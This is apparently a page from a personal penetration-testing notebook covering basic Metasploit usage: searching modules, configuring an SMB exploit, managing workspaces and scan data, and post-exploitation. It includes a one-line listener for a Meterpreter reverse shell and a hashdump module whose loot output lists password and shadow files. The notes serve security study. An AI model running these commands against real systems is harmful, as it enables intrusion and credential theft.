refabr1k's Pentest Notebook
  • refabr1k's Pentest Notebook
  • Steganography
  • Kali USB with persistence memory
  • useful tools
  • Understanding ICACLS permissions
  • INFO GATHERING
    • Port Knocking
    • 22 tcp - SSH
      • SSH Tunneling
    • 25 tcp - SMTP
    • 53 tcp/udp - DNS
    • 88 tcp - Kerberos
    • 161 udp - SNMP
    • 445 tcp - SMB
    • 1098,1099 tcp - Java RMI
    • 8009 tcp - AJP
    • 5901,5902 tcp - VNC
  • Web
    • XSS cookie stealing
    • PHP
    • Webdav
    • Wordpress
    • XML RPC
    • SQL Injection
    • SSRF
  • EXPLOITATION
    • File Transfers
    • Buffer Overflow
    • Bruteforce
      • Hashcat
      • Ophcrack (rainbow tables)
      • John The Ripper
    • PHP rce
    • Compiling
    • msfvenom
    • Reverse shell
    • Using ENV to escape Bad Characters
    • shellshock
    • Ncat Persistent Backdoor
  • PRIVESC - LINUX
    • Basic checks
    • Upgrading Shells
    • SUID
  • Privesc - Windows
    • Basic checks / powershell
    • Privesc Openings
    • LonelyPotato - SeImpersonatePrivilege
    • Enable RDP @ Firewall
    • NTLM (Pass The Hash)
  • Windows
    • NTDS.dit
    • Responder / SMB Relay
    • Attacking AD
      • AD Hacking Lab Setup
  • Metasploit
    • Basic Usage
    • Meterpreter
      • Pivoting
      • Windows Post Exploitation
  • Unsorted
    • other notes
  • eLearnSecurity eJPT
    • eJPT notes
  • OSWP
  • Getting started
  • WEP Attacks
    • WEP Attack (OPEN) - Clients connected
    • WEP Attack (OPEN) - Clientless
    • WEP Attack (SKA)
  • WPA/WPA2 Attacks
  • Scripts
    • get port from nmap
    • Curl response
    • ping sweep
    • iptables-counter.sh
    • (DNS) zonetransfer_check.sh
    • (DNS) dns-rev-brute.sh
    • (DNS) dns-fwd-brute.sh
    • (SMB) vuln-scan.sh
    • (SMB) samba-checker.sh
    • (SMTP) vrfy.py
    • (SNMP) mib-check.sh
  • Zeroday vulnerabilities explained
    • 2020-12 Solarwind supply chain
Powered by GitBook
On this page
  • Searching
  • Configuration

Was this helpful?

  1. Metasploit

Basic Usage

Searching

#Searching modules
msf > grep http search oracle

#Search using tags
msf > search type:auxiliary name:smb
msf > search platform:aix
msf > search port:22
msf > search type:post
msf > search author:dookie
msf > search cve:2011 author:jduck platform:linux

Configuration

#Saving global variables (to type less)
msf > setg LHOST 192.168.1.101

msf > setg RHOSTS 192.168.1.0/24

msf > setg RHOST 192.168.1.136
msf > save


#comands usually used for configuring a module to run
msf exploit(ms09_050_smb2_negotiate_func_index) > show targets
msf exploit(ms09_050_smb2_negotiate_func_index) > show payloads
msf exploit(ms09_050_smb2_negotiate_func_index) > show options
msf exploit(ms09_050_smb2_negotiate_func_index) > show advanced
msf exploit(ms09_050_smb2_negotiate_func_index) > show evasion


#Module info
msf > info exploit/windows/smb/ms09_050_smb2_negotiate_func_index


#run msfconsole and set payload in 1 line
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.101; set LPORT 8080; run; exit -y"


#CSV Export
msf > services -s http -c port 172.16.194.134 -o /root/msfu/http.csv
msf > hosts -S Linux -o /root/msfu/linux.csv
msf > cat /root/msfu/linux.csv
address,mac,name,os_name,os_flavor,os_sp,purpose,info,comments
"172.16.194.172","00:0C:29:D1:62:80","","Linux","Debian","","server","",""
msf > cat /root/msfu/http.csv


#using workspace
msf > db_status 
msf > workspace
msf > workspace msfu
msf > workspace -a MyNewWorkSpace
msf > workspace -h
msf > db_import /root/scanresults.nmap.xml
msf > hosts
msf > db_nmap -A 172.17.1.98
msf > hosts
msf >  db_export -h
msf > db_export -f xml /root/msfu/Exported.xml
msf > hosts -c address,os_flavor


#(Search for 'Linux')
msf > hosts -c address,os_flavor -S Linux


#(Search for nmap scans in db)
msf > services -h
msf > services -c name,info 172.16.194.134
msf > services -c name,info -S http
msf > services -c info,name -p 445
msf > services -c port,proto,state -p 70-81
msf > services -s http -c port 172.16.194.134


#Show found credentials
msf  auxiliary(mysql_login) > run
msf  auxiliary(mysql_login) > creds 




#Post exploitation - loot
msf  exploit(usermap_script) > exploit

#ctrl+z
msf  exploit(usermap_script) > use post/linux/gather/hashdump
msf  post(hashdump) > sessions -l
msf  post(hashdump) > show options
msf  post(hashdump) > set session 1
msf  post(hashdump) > run
msf  post(hashdump) > loot

#host            service  type          name                   content     info                            path
#----            -------  ----          ----                   -------     ----                            ----
#172.16.194.172           linux.hashes  unshadowed_passwd.pwd  text/plain  Linux Unshadowed Password File  /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208.txt
#172.16.194.172           linux.passwd  passwd.tx              text/plain  Linux Passwd File               /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.passwd_953644.txt
#172.16.194.172           linux.shadow  shadow.tx              text/plain  Linux Password Shadow File      /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.shadow_492948.txt
PreviousAD Hacking Lab SetupNextMeterpreter

Last updated 4 years ago

Was this helpful?